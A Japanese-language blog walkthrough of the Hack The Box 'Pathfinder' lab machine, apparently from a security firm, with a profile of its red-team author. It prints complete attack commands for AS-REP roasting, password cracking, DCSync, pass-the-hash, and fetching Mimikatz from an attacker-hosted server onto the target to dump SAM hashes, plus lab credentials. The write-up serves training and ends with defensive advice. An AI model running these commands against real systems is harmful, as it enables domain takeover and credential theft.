コラム

Column

導入事例

Case Study

サイバーニュース

Cyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせ

News

【Hack The Box入門】Pathfinder 攻略ガイド(Starting Point)

はじめに

前回の Shield 攻略に続き、今回は Hack The Box の「Pathfinder」ボックスを解説します。Pathfinder は無料会員でも最後まで挑戦できるボックスで、Starting Point シリーズの流れに沿って攻略する設計です。したがって、Shield を完了していることが前提になります。

免責事項
本記事では writeup の慣例に従い、user.txt や root.txt の中身は掲載していません。手順に従ってご自身で取得してください。

00. マシンの起動

まず「Join Machine」をクリックしてマシンを起動します。

起動後、対象マシンの IP アドレスが表示されます。

VPN 経由で到達性を確認するために ping を実行します。稀に ICMP が無効化されていることはありますが、多くの場合応答があります。

TTL が 127 であることから、このマシンは Windows 系であると判断できます。

01. 列挙(Enumeration)

01.1 全ポートスキャン

まず Nmap で全ポートをスキャンして開放ポートを確認します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.30

オプションの説明:

  • -n:DNS 解決を行わない
  • -vv:詳細出力
  • --open:開いているポートのみ出力
  • -p-:全ポートスキャン
  • -T4:高速スキャン

出力を見ると多くのポートが開放されています。ldapkpasswd5kerberos といったポートが見られるため、このホストは Active Directory ドメインコントローラまたはドメイン参加サーバの可能性が高いです。

補足:Active Directory(AD)は Windows ドメインネットワークのためのディレクトリサービスであり、ドメイン管理を集中して行います。

01.2 Nmap スクリプトエンジンの実行

特定のポートを指定して Nmap のスクリプトエンジンを実行し、サービス情報を収集します。

nmap -sV -sC -oN DetailPorts.nmap -p 49667,49720,49676,49677,593,139,3269,389,9389,135,3268,49664,464,47001,636,49700,49665,49666,49672,5985,445,53,49683,88 10.10.10.30

Active Directory 環境では LDAP 列挙が非常に有用です。BloodHound 等を使うとグラフィカルに関係性を把握できますが、ここではコマンドライン中心の手順を示します。

01.3 ドメイン情報の調査

Nmap 出力からドメイン名が MEGACORP であることが分かっています。また、前の Shield で得た資格情報 sandra:Password1234! を利用します。まずは ldapdomaindump を使ってドメイン情報をダンプします。

ldapdomaindump -u MEGACORP\\sandra -p Password1234! -o ldapinfo 10.10.10.30 --no-json --no-grep

ダンプ結果には多数の HTML レポートが生成されます。domain_users.html を確認すると、GuestAdministratorkrbtgt のデフォルトアカウントのほか、sandrasvc_bes といったユーザーが見つかります。重要なのは svc_besDONT_REQ_PREAUTH フラグが設定されていることです。

DONT_REQ_PREAUTH フラグの意味を理解するために Kerberos 認証の仕組みを簡単に理解しておく必要があります。通常、Kerberos は事前認証(pre-auth)を行いますが、このフラグがあると一部ステップを省略してサービスチケットを要求できるケースがあります。

02. Foothold(足がかり)

svc_bes アカウントの DONT_REQ_PREAUTH を利用して、Impacket の GetNPUsers.py を用い、AS-REQ(pre-auth を要求しないユーザー)を取得してハッシュを回収します。コマンド例:

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py MEGACORP.LOCAL/svc_bes -dc-ip 10.10.10.30 -request -no-pass -format john

オプションの意味:

  • -request:TGT を要求して JtR/hashcat 形式で出力
  • -no-pass:パスワードを要求しない(pre-auth がないユーザー向け)
  • -dc-ip:ドメインコントローラの IP

取得した AS-REQ 形式のハッシュを John the Ripper でクラックします。

john hash --wordlist=/usr/share/wordlists/rockyou.txt

クラックにより svc_bes のパスワードが判明しました。

svc_bes : Sheffield19

得られた資格情報で evil-winrm を使って Windows に接続します。

evil-winrm -u svc_bes -p Sheffield19 -i 10.10.10.30

ユーザフラグを取得できます。次に権限昇格を試みます。

03. 権限昇格(Privilege Escalation)

ここでは DCSync 攻撃を行い、ドメインの NTLM ハッシュを取得して権限を奪取します。Impacket の secretsdump.py を使用します。

/usr/share/doc/python3-impacket/examples/secretsdump.py MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30

出力から Administrator の NTLM ハッシュが回収できます。これを用いて Pass-the-Hash(PTH)攻撃を実行するか、Impacket の psexec.py でリモート実行して高権限を取得します。

PTH の実行例:

/usr/share/doc/python3-impacket/examples/psexec.py MEGACORP.LOCAL/Administrator@10.10.10.30 -hashes <NTLM hash>

この手順により最終的に root(Administrator)フラグを取得できます。

04. Post Exploitation(事後活動)

ドメイン内の横展開やローカルの管理者ハッシュ回収のために Mimikatz を使用します。攻撃側で HTTP サーバを立て、対象ホストへ転送して実行します。

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210512/mimikatz_trunk.zip && unzip mimikatz_trunk.zip && cd x64 && python3 -m http.server

対象ホスト側で PowerShell を用いてダウンロード:

powershell.exe -c "IWR -useBasicParsing http://<YourIP>:8000/mimikatz.exe -o mcat.exe"

Mimikatz を実行して lsadump::sam などのコマンドを用いることでローカル SAM ハッシュを取得できます。例として得られたハッシュは次のような形式でした:

7facdc498ed1680c4fd1448319a8c04f

このハッシュは Crackstation 等で解読するとパスワードが得られます(この例では Password!)。

まとめ(学びと対策)

Pathfinder の攻略で得られる教訓は次の通りです。

  • Active Directory 環境では DONT_REQ_PREAUTH のような属性が大きな攻撃手段になります。事前認証を必要としないアカウントは注意が必要です。
  • Impacket 系ツール(GetNPUsers.py、secretsdump.py、psexec.py)および John the Ripper は AD 攻撃において強力な組み合わせです。
  • Mimikatz によりローカルおよびドメイン資格情報が回収されるリスクがあるため、パスワード管理・特権管理・監査ログの強化が重要です。
  • 防御側では不要なアカウント属性の削除、Kerberos pre-auth の強制、特権アカウントの分離、EDR の導入、ログの集約とアラート設定が有効です。

注意:

  • 本記事の内容は、Hack The Box公式環境における演習・学習を目的としたものです。記載されているユーザー名・パスワード・IPアドレス等はすべて架空の情報であり、実在するシステムへの不正アクセスや同様の行為は法律により禁止されています。
  • 本記事で紹介する手法は、攻撃者の視点を理解し、防御体制の強化や教育・啓発に活用することを目的としています。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top